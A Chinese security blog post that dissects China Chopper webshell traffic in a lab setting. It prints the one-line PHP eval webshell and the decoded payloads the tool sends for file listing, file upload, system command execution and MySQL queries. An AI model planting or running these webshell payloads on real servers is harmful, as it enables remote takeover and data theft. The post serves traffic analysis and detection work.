浅谈中国caidao

admin 2021年12月31日03:56:07浅谈中国caidao已关闭评论62 views字数 6416阅读21分23秒阅读模式

中国菜刀原理

本地IP: 172.16.9.12

目的IP: 172.16.9.163

WebShell URL: http://172.16..9.163/test.php

WebShell 密码: cmd

抓取菜刀流量

使用Wireshark进行流量抓取

```

过滤语句

http.request.method == POST and ip.addr == 172.16.9.12
```

一句话木马原理

```php
<?php eval($_POST[cmd])?>

最基础的PHP一句话木马

$_POST用于收集传递过来的数据

eval将传递过来的数据当做可以执行的PHP代码来执行

这样就可以将任意的PHP语句传入到网站所在的服务器进行执行。

```

菜刀流量分析

连接功能

使用菜刀连接WebShell

浅谈中国caidao

通过post传入的cmd参数,参数进行了base64加密

浅谈中国caidao

```php

原始数据

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

url解码

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

base64解码

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
```

解码后得到传入的具体payload

php
<?php
   // 临时关闭PHP的错误显示功能
   @ini_set("display_errors", "0");
// 防止像dir、上传文件大马时超时
   @set_time_limit(0);
// 关闭魔术引号,这东西在4.0以后就不怎么用了
   @set_magic_quotes_runtime(0);
   echo("->|");;
// 将访问的路径复制给了$D
   $D = dirname($_SERVER["SCRIPT_FILENAME"]);
   if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 打开指定路径后将返回值赋值给了$R
   $R = "{$D}\t";
   if (substr($D, 0, 1) != "/") {
       foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
  }
   $R .= "\t";
// 将$R的内容显示出来,如果不存在就输出PATH_TRANSLATED
   $u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
   $usr = ($u) ? $u['name'] : @get_current_user();
   $R .= php_uname();
   $R .= "({$usr})";
   print $R;;
   echo("|<-");
   die();
?>

文件管理功能

浅谈中国caidao

可以看到有两个参数z0z1

z0为发送的payload

z1为查询的路径

```php

z0传入的payload*

<?php  
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
   echo("ERROR:// Path Not Found Or No Permission!");
} else {
   $M = NULL;
   $L = NULL;
   // 对目录进行循环扫描
   while ($N = @readdir($F)) {
       // 获取目录中文件
       $P = $D."/".$N;
       // 获取文件时间
       $T = @date("Y-m-d H:i:s", @filemtime($P));
       // 获取文件权限
       @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
       // 获取文件大小
       $R = "\t".$T."\t".@filesize($P)."\t".$E."";
       if(@is_dir($P)){
           $M .= $N."/".$R;
      }else{
           $L .= $N.$R;
      }
  }
   echo $M.$L;
   @closedir($F);
};
echo("|<-");
die();

获取了路径参数之后,代码将指定路径的句柄打开,对目录进行循环扫描,获取目录中的文件以及文件的权限,大小,时间,日期这四个参数,使用\t制表符拼在一起捆绑发送回客户端,客户端对参数进行处理,并将获取的参数形成显示的界面

z1 url+base64解码(查询的路径)

C:\
```

*payload中大致函数解析如下:*

opendir() 函数:打开一个目录句柄,可由closedir()readdir()rewinddir()使用。若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上@来隐藏 错误输出。

readdir() 函数:返回由opendir()打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。

fileperms() 函数:返回文件或目录的权限。若成功,则返回文件的访问权限。若失败,则返回 false。

```php

base_convert() 函数:在任意进制之间转换数字。

base_convert(number,frombase,tobase)
```

filesize() 函数:返回指定文件的大小。若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误。

filemtime() 函数:返回文件内容的上次修改时间。如果成功,该函数将以 Unix 时间戳形式返回文件内容的上次修改时间。如果失败,则返回 FALSE。

closedir() 函数:关闭目录句柄。

文件上传功能

通常用来上传高权限的大型木马,用来建立更稳固功能更多的连接。

为了方便,这里上传一个test.txt作为实验对象。

浅谈中国caidao

有三个参数

浅谈中国caidao

解码后

```php

z0

@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$f = base64_decode($_POST["z1"]);
$c = $_POST["z2"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");
echo("|<-");
die();

将文件创建并将内容写入,然后菜刀会再次发送时数据包对目录进行请求,刷新目录列表,与上面请求目录的代码一样

z1 base64解码(上传路径)

C:\test.txt

z2 16进制转字符串(上传文件内容)

hello word
```

关键函数:

fwrite() 函数:将内容写入一个打开的文件中。函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

命令执行功能

菜刀的远程终端模拟功能,即cmd

浅谈中国caidao

浅谈中国caidao

有三个参数

浅谈中国caidao

解码后

```php

z0

@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p = base64_decode($_POST["z1"]);
$s = base64_decode($_POST["z2"]);
// dirname() 函数返回路径中的目录部分。
// $_SERVER["SCRIPT_FILENAME"]:当前执行脚本的绝对路径。
// 如果在命令行界面使用相对路径执行脚本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
// substr() 函数返回字符串的一部分。
// 用捕获分组获得字符串中的参数,用来对要执行的命令进行匹配
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
// 执行系统命令,并屏蔽错误显示。
@system($r." 2>&1", $ret);
print($ret != 0) ? "ret = {$ret}":"";;
echo("|<-");
die();

z1

cmd
   

z2 (执行的命令)

cd /d "C:\AppServ\www\"&ipconfig&echo [S]&cd&echo [E]
```

数据库模拟功能

菜刀的数据库配置

浅谈中国caidao

数据解码

```php
@ini_set ("display_errors", "0");
@set_time_limit (0);
@set_magic_quotes_runtime (0);
echo ("->|");
// 如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
$m = get_magic_quotes_gpc();
// stripslashes() 删除反斜杠
$conf = $m ? stripslashes($_POST["z1"]) : $_POST["z1"];
// explode() 将字符串打散为数组
$ar = explode("choraheiheihei", $conf);
$dbn = $m ? stripslashes ($_POST["z2"]) : $_POST["z2"];
$sql = base64_decode($_POST["z3"]);
$T = @mysql_connect($ar[0],$ar[1],$ar[2]);
@mysql_query ("SET NAMES utf8");
if($dbn == ""){
   $sql = "SHOW DATABASES";
   $q = @mysql_query($sql);
   $i = 0;
   // mysql_fetch_row() 函数从结果集中取得一行作为数字数组。
   while($rs = @mysql_fetch_row($q)){
       echo(trim($rs[0]).chr(9))."\t|\t\r\n";
  }
   @mysql_close($T);
   echo("|<-");
   die();
}else{
   @mysql_select_db($dbn);
   $q = @mysql_query($sql);
   $i = 0;
   while ( $col = @mysql_field_name($q, $i)){
       echo ($col . "\t|\t");
       $i ++;
  }
   echo ("\r\n");
   while ( $rs = @mysql_fetch_row($q)){
       for($c = 0; $c < $i; $c ++){
           echo (trim($rs[$c]));
           echo ("\t|\t");
      }
       echo("\r\n");
  }
   @mysql_close($T);
   echo ("|<-");
   die ();
}

代码的主要功能是与目标服务器的数据库简历连接(具体),获取数据库的库,表,列字段等内容,并将我们对数据库的操作传递过去,并将执行结果传递回来。

在菜刀里直接点击对应的数据库内容,菜刀会直接生成对应的语句,对数据库进行操作

```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈中国caidaohttps://cn-sec.com/archives/692025.html